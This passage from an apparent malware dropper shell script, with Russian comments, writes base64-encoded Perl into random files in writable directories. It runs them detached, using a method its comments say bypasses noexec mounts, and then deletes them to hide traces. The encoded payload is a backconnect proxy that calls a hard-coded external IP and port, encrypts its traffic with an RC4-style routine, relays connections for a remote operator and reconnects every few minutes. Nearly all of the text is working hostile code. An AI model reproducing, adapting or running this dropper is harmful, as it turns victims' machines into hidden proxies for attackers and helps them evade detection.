CQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_81ced56c() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjcnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwL